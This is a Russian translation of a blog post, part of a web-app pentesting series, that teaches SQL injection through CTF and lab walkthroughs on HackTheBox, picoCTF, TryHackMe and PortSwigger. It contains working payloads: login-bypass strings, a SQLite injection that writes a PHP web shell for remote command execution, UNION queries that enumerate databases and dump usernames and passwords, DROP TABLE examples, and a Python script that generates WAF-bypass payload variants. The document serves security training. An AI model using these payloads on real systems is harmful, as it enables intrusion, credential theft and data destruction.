August 20

SQL Injection [Complete web app pentesting series #7]

Введение в SQL инъекции

Чтобы определить SQL-инъекцию, злоумышленники внедряют вредоносные SQL-запросы для манипулирования конфиденциальными данными или доступа к ним из базы данных, подключенной к веб-приложению. Типы SQL-инъекций включают:

In-Band SQL Injection:

  • На основе ошибок: извлекает информацию непосредственно из сообщений об ошибках базы данных.
  • На основе объединения: объединяет результаты нескольких запросов для извлечения неавторизованных данных.

Inferential (Blind) SQL Injection:

  • На основе логических операций: выводит информацию, наблюдая различия в ответах приложения на основе условий «истина/ложь».
  • На основе времени: использует задержки в ответе сервера для вывода поведения базы данных.

Out-of-Band SQL Injection:

  • Использует альтернативные каналы связи, такие как DNS или HTTP-запросы, для вывода данных, когда прямое взаимодействие невозможно.

Как протестировать SQL-инъекцию?

Чтобы обнаружить и использовать уязвимости SQL-инъекций, выполните следующие действия:

  • Сопоставление приложений: Определите поля ввода, которые взаимодействуют с базой данных.
  • Фазинг приложения:
    • Внесите в код символы, характерные для SQL, такие как ' или ", чтобы вызвать ошибки или аномалии.
    • Используйте булевы нагрузки, такие как OR 1=1 или OR 1=2, для проверки логических условий.
    • Протестируйте нагрузки, основанные на времени (например, SLEEP(5)), чтобы наблюдать за задержками в ответах.
    • Разверните внеполосные нагрузки для мониторинга взаимодействия с внешними серверами.

Анализ: ищите необычные явления, такие как сообщения об ошибках, утечки данных или задержки ответов, чтобы подтвердить наличие уязвимостей.

Инструменты автоматизации: Используйте такие инструменты, как sqlmap, ghauri, для систематического тестирования и повышения точности обнаружения.

Методы SQL-инъекции

1. Sanitize {SQL AUTH-BYPASS}

https://app.hackthebox.com/login?redirect=%2Fchallenges%2Fsanitize

Это веселое и простое задание от hackthebox. Все мы слышали о использовании таких полезных нагрузок, как or 1=1, на YouTube и в других местах. В этом задании нужно злоупотребить этой логикой, чтобы обойти вход в систему. С помощью следующего списка слов я добился потрясающих результатов в обходе страниц входа в систему с помощью SQL-инъекции во время CTF. Просто перехватите запрос на вход в систему и убедитесь, что вы используете режим battering ram, когда тестируете поля username и password.

https://github.com/payloadbox/sql-injection-payload-list/blob/master/Intruder/exploit/Auth_Bypass.txt

Полезная нагрузка:

' or 1=1 — -

2. Intergalactic post {Sqli to RCE}

https://app.hackthebox.com/challenges/Intergalactic%2520Post

После небольшого поиска и ошибок мы видим, что веб-сайт принимает входные данные и часто исправляет ошибку sql. После многих неудач мы приходим к осознанию того, что, если мы сможем получить доступ flag.txt через RCE посредством SQL-инъекции? Теперь мы загуглим термин Sqli to RCE

Первое, что всплывает, - это это репозиторий, и внутри мы получаем следующую полезную нагрузку.

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/SQLite%20Injection.md#remote-command-execution-using-sqlite-command---attach-database

Сначала давайте немного поговорим о X-Forwarded headerЗаголовок X-Forwarded позволяет веб-службам обнаруживать реальный IP-адрес клиента, когда пользователи обращаются к ним через прокси-серверы или балансировщики нагрузки. Клиент отправляет этот заголовок как часть своего запроса, и системы обычно записывают или обрабатывают его для бизнес-анализа и соображений безопасности. Поскольку в этом заголовке отсутствуют элементы управления проверкой, злоумышленники могут использовать его для внедрения вредоносных SQL-команд и скриптов непосредственно во внутренние системы и журналы. Любая программа, которая принимает необработанную нефильтрованную информацию из этого заголовка, подвергается угрозам внедрения.

Когда злоумышленники вводят X-Forwarded-For заголовок они могут запускать атаки, такие как SQL-инъекция и командная инъекция, отправляя вредоносные строки, включая ' OR 1=1 -- и многое другое. Эти вредоносные строки могут нанести значительный ущерб серверным системам. Эти атаки могут повредить серверные функции, а также обойти фильтры безопасности IP и нацелиться на некорректные методы ведения журнала. Заголовок работает как полезный путь атаки, поскольку пользователи редко видят его во время тестирования, что дает злоумышленникам возможность выявить слабые места серверной системы.

Теперь вскоре мы поняли, что базовая полезная нагрузка не работает, поэтому мы добавим несколько дополнительных заголовков, которые в нашем случае X-Forwarded header и давайте изменим веб-каталог и попробуем другие местоположения, такие как /var/www или /var или /www. После отслеживания и ошибки мы находим местоположение, которое должно быть /www

Полезная нагрузка:

X-Forwarded-For: blahblah','blahblah');ATTACH DATABASE '/www/lol.php' as lol;CREATE TABLE lol.pwn(dataz text); INSERT INTO lol.pwn (dataz) VALUES ("<?php system($_GET['cmd']); ?>");--

Обратите внимание, что в нашей измененной полезной нагрузке мы заключаем одинарные кавычки ( $_GET['cmd']) внутри PHP-кода, как видно из второй полезной нагрузки, в первой полезной нагрузке мы использовали двойные кавычки. Теперь мы получаем RCE на сервере.

Как только SQL записывает вредоносный файл в свой веб-каталог, пришло время получить флаг.

Наконец, мы получаем флаг через RCE посредством SQL-инъекционной атаки.

3. Picoctf: Больше SQLi {SQL auth-bypass + Manual SQL Injection on sqlite database}

https://play.picoctf.org/practice/challenge/358?page=1&search=more%20sql

Многие, включая меня, недооценили качество хороших веб-задач в picoctf и, безусловно, это мой личный фаворит. На первый взгляд, у нас простая страница входа в систему. Теперь давайте попробуем обойти SQL logic с такими полезными нагрузками, как ' or 1=1 --

При неудачном входе в систему мы получаем ошибку SQL, которая подтверждает, что этот веб-сайт может быть уязвим для SQL Injection.

Пришло время проанализировать полезную нагрузку, которая может сработать. Я использую этот список слов для этой задачи.

Мы обнаружили 14 полезных нагрузок, способных обходить логику входа в систему.

Мы будем придерживаться этой простой полезной нагрузки, чтобы обойти аутентификацию / войти в систему через Sql Injection

' or true--

Теперь начинается настоящее испытание. Нам выдается строка поиска, в которой мы должны получить флажок.

ШАГ 1: Начальное тестирование для SQL-инъекции

  • Введите простую полезную нагрузку, например ' или 123' в поле ввода для проверки на наличие ошибок.
  • Синтаксическая ошибка SQL указывает на то, что приложение может быть уязвимо для SQLi. Но в нашем случае мы не видим никакой явной ошибки, отображаемой веб-приложением

ШАГ 2: Определите количество столбцов

  • Используйте UNION SELECT оператор, соответствующий структуре исходного запроса.
  • Например: 123' UNION SELECT null;-- -- 1 column 123' UNION SELECT null, null;-- -- 2 columns 123' UNION SELECT null, null, null;-- -- 3 columns

Увеличьте количество null заполнители до тех пор, пока запрос не будет выполнен без ошибок. Это показывает количество столбцов в исходном запросе.

Обратите внимание, что иногда в CTF null буквально не возвращает значения, поэтому не стесняйтесь использовать любые слова, строку или любое число вместо использования null.

ШАГ 3: Определите типы данных

  • Заменить null с тестовыми значениями (например,, 'test', 123, datetime('now')) чтобы определить, какие столбцы принимают те или иные типы данных:
123' UNION SELECT 'text', null, null;--    -- Column 1 accepts strings
123' UNION SELECT null, 123, null;--       -- Column 2 accepts numbers
123' UNION SELECT null, null, datetime('now');--  -- Column 3 accepts dates

В нашем случае у нас есть 3 столбца, и мы использовали следующую полезную нагрузку, чтобы найти количество столбцов.

cn' UNION select 1,2,3--

Обратите внимание, что вы можете запустить запрос SQL-инъекции с любой буквы и символа, например cn' или 123'.

ШАГ 4: Извлеките имена таблиц

  • Используйте SQLite sqlite_master таблица для перечисления всех имен таблиц в базе данных:
123' UNION SELECT tbl_name, null, null FROM sqlite_master WHERE type='table';--
  • При этом будут перечислены все имена таблиц в базе данных.

ШАГ 5: Извлеките имена столбцов

  • Как только вы определите таблицу (например,, more_table), запросить PRAGMA table_info() функция или непосредственная цель sqlite_master чтобы перечислить его столбцы:
123' UNION SELECT sql, null, null FROM sqlite_master WHERE tbl_name='more_table';--
  • В качестве альтернативы: [Обратите внимание, что в нашей ситуации это не работает]
PRAGMA table_info('more_table');

ШАГ 6: Сброс данных

  • Теперь, когда вы знаете таблицу ( more_table) и его столбцы ( flag), вы можете извлечь данные:
123' UNION SELECT flag, null, null FROM more_table;--

Понимание SQL-инъекции второго порядка: глубокое погружение

https://tryhackme.com/r/room/advancedsqlinjection

SQL-инъекция второго порядка, также известная как stored SQL injection, представляет собой тонкий и опасный вектор атаки, при котором вредоносный ввод сохраняется в базе данных и выполняется позже, когда эти данные извлекаются и используются в последующем SQL-запросе. В отличие от классической SQL-инъекции, полезная нагрузка выполняется не сразу, что затрудняет ее обнаружение во время первоначального тестирования.

Как это происходит?

В приведенном примере пользовательский ввод очищается с помощью real_escape_string() и хранится в базе данных:

$ssn = $conn->real_escape_string($_POST['ssn']);
$book_name = $conn->real_escape_string($_POST['book_name']);
$author = $conn->real_escape_string($_POST['author']);
$sql = "INSERT INTO books (ssn, book_name, author) VALUES ('$ssn', '$book_name', '$author')";

На этом этапе введите следующее 12345'; UPDATE books SET book_name = 'Hacked'; — надежно хранится, отображаясь как обычные данные. Однако во время последующих операций (например, когда сохраненный book_name извлекается и используется в запросе без повторной очистки), вредоносная полезная нагрузка выполняется.

Почему это опасно?

  1. Обход интерфейсной проверки: очистки входных данных может быть достаточно при первоначальном хранении, но неправильное обращение во время извлечения может привести к повторному запуску атаки.
  2. Отложенное воздействие: Поскольку вредоносный ввод находится в состоянии покоя до последующего взаимодействия, он часто не обнаруживается во время первоначального тестирования.
  3. Широкая поверхность атаки: После сохранения полезная нагрузка может быть нацелена на несколько частей приложения при повторном использовании данных.

Real-World Scenario

Сохраненная полезная нагрузка, такая как '; DROP TABLE books; — или 12345'; UPDATE books SET book_name = 'Hacked'; — может не вызывать немедленных ошибок, но может скомпрометировать базу данных во время будущих запросов, что приведет к манипулированию данными или их потере.

Простой обход SQL WAF

https://tryhackme.com/r/room/advancedsqlinjection

SQL-запрос выполняется некорректно, что, вероятно, означает, что существует вероятность SQL-инъекции. Давайте попробуем ввести полезную нагрузку “ Intro to PHP' OR 1=1”. Мы получим следующий результат:

Итак, что здесь происходит? Когда эти входные данные передаются PHP-скрипту, str_replace функция удалит ключевое слово OR и одинарную кавычку, в результате чего будут обработаны входные данные, которые не будут выполнять предполагаемую SQL-инъекцию. Этот ввод неэффективен, поскольку при фильтрации удаляются критические компоненты, необходимые для успешного выполнения SQL-инъекции.

Полезные нагрузки SQL-инъекций часто используют фильтры, используя символы в кодировке URL, чтобы обойти ограничения по ключевым словам и символам. Например, %27 представляет собой одинарную кавычку ( '), %20 кодирует пробел, и %2D%2D переводится как --, который запускает SQL-комментарий. В полезной нагрузке 1%27%20||%201=1%20--+, одинарная кавычка ( 1') закрывает строку, в то время как || 1=1 вводит условие, которое всегда принимает значение true. Значение — комментарий гарантирует, что база данных игнорирует любой оставшийся SQL-код, эффективно обходя ограничения и возвращая все записи. Использование инструментов кодирования, таких как CyberChef, может помочь создать эти полезные нагрузки для обхода фильтров.

Этот метод манипулирует структурой SQL-запроса, кодируя ключевые символы, гарантируя, что фильтры не распознают их как вредоносные. Например, если запрос ожидает ввода, такого как название книги, ввод Intro to PHP' || 1=1 --+ (URL-encoded) заставляет условие принимать значение true, удаляя все записи базы данных. Кодирование URL имеет решающее значение для обхода фильтров при сохранении целостности синтаксиса SQL, особенно в средах, где специальные символы или ключевые слова очищены или заблокированы.

Полезная нагрузка:

http://10.10.255.153/encoding/search_books.php?book_name=Intro%20to%20PHP%27%20||%201=1%20--+

Еще несколько простых обходов WAF

https://tryhackme.com/r/room/advancedsqlinjection

Средства защиты от SQL-инъекций часто можно обойти, используя креативные методы запутывания. В сценариях, где пробелы или обычные ключевые слова SQL, такие как OR, AND, UNION, и SELECT если они отфильтрованы, злоумышленники могут заменить пробелы символами в кодировке URL (например, %0A для перевода строки) или встроенных комментариев ( /**/). Аналогично, логические операторы типа || может заменять заблокированные ключевые слова. Предоставленный скрипт демонстрирует этот подход, генерируя полезные нагрузки, которые динамически заменяют заполнители ( {space}, {op}) с вариантами обхода , такими как %09, %0D, и || Такая адаптивность имеет решающее значение в реальных условиях, где фильтры различаются, требуя от пентестеров опробования комбинаций и корректировки стратегий для эффективного использования.

Теперь давайте напишем скрипт на Python для автоматической генерации полезных данных, которые следуют описанным выше обходам в нашей полезной нагрузке для нашего SQL-запроса. Что этот скрипт будет делать, так это принимать любую обычную полезную нагрузку SQL, такую как 1' or 1=1— . Теперь проблема с такими временными нагрузками заключается в том, что веб-приложение может использовать логические операторы, такие как and , or и поэтому мы разбиваем нашу полезную нагрузку, которую нам нужно закодировать, следующим образом.

1'{space}{op}{space}1=1{space}--

Здесь {space} означает буквальное пустое пространство, и {op} означает операцию, подобную and, or. Ниже у нас есть скрипт на Python для кодирования базовых полезных нагрузок, подобных упомянутому выше, но убедитесь, что вы явно указываете {space} и {op}

import sys

def generate_payloads(base_payload, file_path=None):
    if not ('{space}' in base_payload and '{op}' in base_payload):
        print("Error: The base payload must include '{space}' and '{op}' placeholders.")
        return []

    # Define common SQL injection techniques
    spaces = ['%09', '%0A', '%0C', '%0D', '%A0', '/**/']
    operators = ['||', '&&', '|', '&']

    # Generate payloads
    payloads = []
    for s in spaces:
        for o in operators:
            payload = base_payload.format(space=s, op=o)
            # Add common variations to enhance payload effectiveness
            payloads.append(payload)
            payloads.append(payload + "%27+")  # Appending to match your successful payload

    # Optionally write payloads to a file
    if file_path:
        try:
            with open(file_path, 'w') as f:
                f.write("\n".join(payloads))
            print(f"Payloads saved to {file_path}")
        except Exception as e:
            print(f"Error writing to file: {e}")
    else:
        # Output generated payloads in a clean format for Burp Suite
        print("\nGenerated Payloads:\n")
        print("\n".join(payloads))

    return payloads

if __name__ == "__main__":
    # Take input from user
    base_payload = input("Enter the base payload (use '{space}' for space and '{op}' for operator placeholders):\n")
    file_option = input("Do you want to save the payloads to a file? (yes/no): ").strip().lower()

    file_path = None
    if file_option == 'yes':
        file_path = input("Enter the file path to save payloads: ").strip()

    generate_payloads(base_payload, file_path)

Выполнение кода может выглядеть примерно следующим образом:

scripts on  master via  v3.8.10 
❯ python3 basic-sqli-bypass.py 
Enter the base payload (use '{space}' for space and '{op}' for operator placeholders):
1'{space}{op}{space}1=1{space}--
Do you want to save the payloads to a file? (yes/no): no

Generated Payloads:

1'%09||%091=1%09--
1'%09||%091=1%09--%27+
1'%09&&%091=1%09--
1'%09&&%091=1%09--%27+
1'%09|%091=1%09--
1'%09|%091=1%09--%27+
1'%09&%091=1%09--
1'%09&%091=1%09--%27+
1'%0A||%0A1=1%0A--
1'%0A||%0A1=1%0A--%27+
1'%0A&&%0A1=1%0A--
1'%0A&&%0A1=1%0A--%27+
1'%0A|%0A1=1%0A--
1'%0A|%0A1=1%0A--%27+
1'%0A&%0A1=1%0A--
1'%0A&%0A1=1%0A--%27+
1'%0C||%0C1=1%0C--
1'%0C||%0C1=1%0C--%27+
1'%0C&&%0C1=1%0C--
1'%0C&&%0C1=1%0C--%27+
1'%0C|%0C1=1%0C--
1'%0C|%0C1=1%0C--%27+
1'%0C&%0C1=1%0C--
1'%0C&%0C1=1%0C--%27+
1'%0D||%0D1=1%0D--
1'%0D||%0D1=1%0D--%27+
1'%0D&&%0D1=1%0D--
1'%0D&&%0D1=1%0D--%27+
1'%0D|%0D1=1%0D--
1'%0D|%0D1=1%0D--%27+
1'%0D&%0D1=1%0D--
1'%0D&%0D1=1%0D--%27+
1'%A0||%A01=1%A0--
1'%A0||%A01=1%A0--%27+
1'%A0&&%A01=1%A0--
1'%A0&&%A01=1%A0--%27+
1'%A0|%A01=1%A0--
1'%A0|%A01=1%A0--%27+
1'%A0&%A01=1%A0--
1'%A0&%A01=1%A0--%27+
1'/**/||/**/1=1/**/--
1'/**/||/**/1=1/**/--%27+
1'/**/&&/**/1=1/**/--
1'/**/&&/**/1=1/**/--%27+
1'/**/|/**/1=1/**/--
1'/**/|/**/1=1/**/--%27+
1'/**/&/**/1=1/**/--
1'/**/&/**/1=1/**/--%27+

Как только вы получите хороший список полезных нагрузок, просто добавьте эти полезные нагрузки в intruder и начните фаззинг, в нашей лаборатории мы нашли 5 новых рабочих полезных нагрузок, которые могут помочь нам решить lab.

Обратите внимание, что реальные веб-приложения намного сложнее, и нам нужны сложные и надежные инструменты, такие как sqlmap или ghauri автоматизировать защиту веб-приложений и обходить ее. Цель этого раздела в этом блоге - заставить нас понять на базовом уровне, что и как мы действительно можем обойти защиту веб-приложений, а не копировать сценарий реальной жизни. Следите за новостями в следующих блогах, где мы будем обсуждать использование инструментов автоматизации в SQL Injection

SQL-инъекция заголовков

https://tryhackme.com/r/room/advancedsqlinjection

Теперь это очевидно точно так же, как header based XSS иногда мы можем делать инъекции SQL Queries в веб-приложение, которое приводит к SQL injection. В реальных жизненных сценариях не забывайте размывать http headers с SQL Injection payloads!

Полезная нагрузка:

' UNION SELECT book_id, flag FROM books; #

Теперь давайте введем это в user-agent заголовок. Для этого мы будем использовать burp suite.

После успешного введения SQL query мы получаем флаг.

Руководство по атакам с использованием SQL-инъекций

  1. https://portswigger.net/web-security/sql-injection/examining-the-database/lab-listing-database-contents-non-oracle
  2. https://portswigger.net/web-security/sql-injection/examining-the-database/lab-listing-database-contents-oracle

Обратите внимание, что методы, описанные в этом разделе, применимы почти ко всем базам данных, за исключением oracle База данных. Поскольку параметры и данные передаются через GET мы можем непосредственно начать вводить полезную нагрузку в URL. Сначала, как всегда, вы можете увидеть, используются ли какие-либо символы, такие как ','' or # приводит к какой-либо внутренней ошибке или ошибке базы данных. Как только он покажет некоторые очевидные ошибки, теперь давайте продолжим и сначала перечислим столбцы в базе данных, чтобы мы могли начать внедрение SQL queries

Перечисление базы данных

Шаг 1: Найдите количество столбцов, присутствующих в базе данных

https://0a5500ac03d8c8dc8241928700ed0080.web-security-academy.net/filter?category=Gifts%27+UNION+SELECT+%27null%27--

Теперь было подтверждено, что в этой базе данных больше одного столбца, теперь давайте попробуем и посмотрим, есть ли в базе данных два столбца.

https://0a5500ac03d8c8dc8241928700ed0080.web-security-academy.net/filter?category=Gifts%27+UNION+SELECT+%27null%27,%27null%27--

Теперь это подтверждает, что в базе данных есть 2 столбца, а теперь давайте попробуем найти некоторые пикантные детали.

Шаг 2: Определите количество столбцов, которые возвращаются запросом и какие столбцы содержат текстовые данные

Убедитесь, что запрос возвращает два столбца, оба из которых содержат текст, используя полезную нагрузку, подобную приведенной ниже в category параметр:

'+UNION+SELECT+'abc','def'--

Когда мы используем приведенную выше полезную нагрузку, мы можем проверить, что в обеих базах данных есть столбец, который имеет или принимает строковый тип данных.

Шаг 3: Найдите версию базы данных, с которой вы имеете дело:

Теперь для этого мы должны помнить, что методы, обсуждаемые в следующем разделе, применимы к большинству баз данных, за исключением oracle. Когда это не относится к oracle мы явно упоминаем и обсуждаем полезную нагрузку, которая работает для oracle базы данных.

'+UNION+SELECT+@@version,+NULL#

Убедитесь, что ваш URL-адрес кодирует эту полезную нагрузку, и просто запомните, особенно специальные символы @@ и # закодированы с помощью URL.

Шаг 3: Ручное перечисление базы данных на oracle

Начальное перечисление мы находим, что с помощью ' приводит к внутренней ошибке, и мы можем найти и проверить, что в этой базе данных есть два столбца. И мы обнаруживаем, что оба столбца принимают строковый тип данных.

Gifts'+UNION+SELECT+'null'--
Gifts'+UNION+SELECT+'null','null'--
'+UNION+SELECT+'abc','def'--

Теперь единственная настройка, которую нам нужно сделать, чтобы полезная нагрузка заработала, - это упомянуть и указать базу данных, с которой мы пытаемся работать, в нашем случае это dual итак, давайте добавим это к нашей полезной нагрузке.

'+UNION+SELECT+'abc','def'+FROM+dual--

И теперь мы видим, что это работает.

Теперь, наконец, мы будем использовать следующую полезную нагрузку, чтобы получить версию базы данных oracle.

'+UNION+SELECT+BANNER,+NULL+FROM+v$version--

Использование базы данных

Шаг 4: Составьте список всех таблиц, присутствующих в базе данных.

Используйте следующую полезную нагрузку для получения списка таблиц в базе данных. Опять же, обратите внимание, что следующие методы работают практически для всех баз данных, за исключением oracle Когда бы нам ни понадобилось изменить нашу полезную нагрузку, чтобы она работала на oracle базы данных, в которых мы явно указываем, что работает oracle database

'+UNION+SELECT+table_name,+NULL+FROM+information_schema.tables--

Обратите внимание, что для баз данных Oracle та же полезная нагрузка будет выглядеть примерно так:

'+UNION+SELECT+table_name,NULL+FROM+all_tables--

Найдите название таблицы, содержащей учетные данные пользователя. Не стесняйтесь выполнять поиск на веб-странице, используя ctrl+f.

Шаг 5: Перечислите все столбцы, присутствующие внутри таблицы, из которой мы хотим вывести данные.

Используйте следующую полезную нагрузку (заменяющую имя таблицы) для получения подробной информации о столбцах в таблице:

'+UNION+SELECT+column_name,+NULL+FROM+information_schema.columns+WHERE+table_name='users_pewrif'--

Для oracle полезная нагрузка будет примерно такой, как показано ниже. Обратите внимание, что мы будем использовать all_tab_columns вместо information_schema.

'+UNION+SELECT+column_name,NULL+FROM+all_tab_columns+WHERE+table_name='USERS_ABCDEF'--

Найдите названия столбцов, содержащих имена пользователей и пароли.

Шаг 6: Выгрузите данные, представленные в столбцах, из таблицы

Используйте следующую полезную нагрузку (заменяя имена таблиц и столбцов), чтобы получить имена пользователей и пароли для всех пользователей:

'+UNION+SELECT+username_phrgmq,+password_tyyaor+FROM+users_pewrif--

Для баз данных Oracle полезная нагрузка будет такой же, без изменений, просто правильно укажите столбцы и имя таблицы.

Найдите пароль для administrator пользователь, и используйте его для входа в систему.

Оригинальная статья | Перевод: THREAD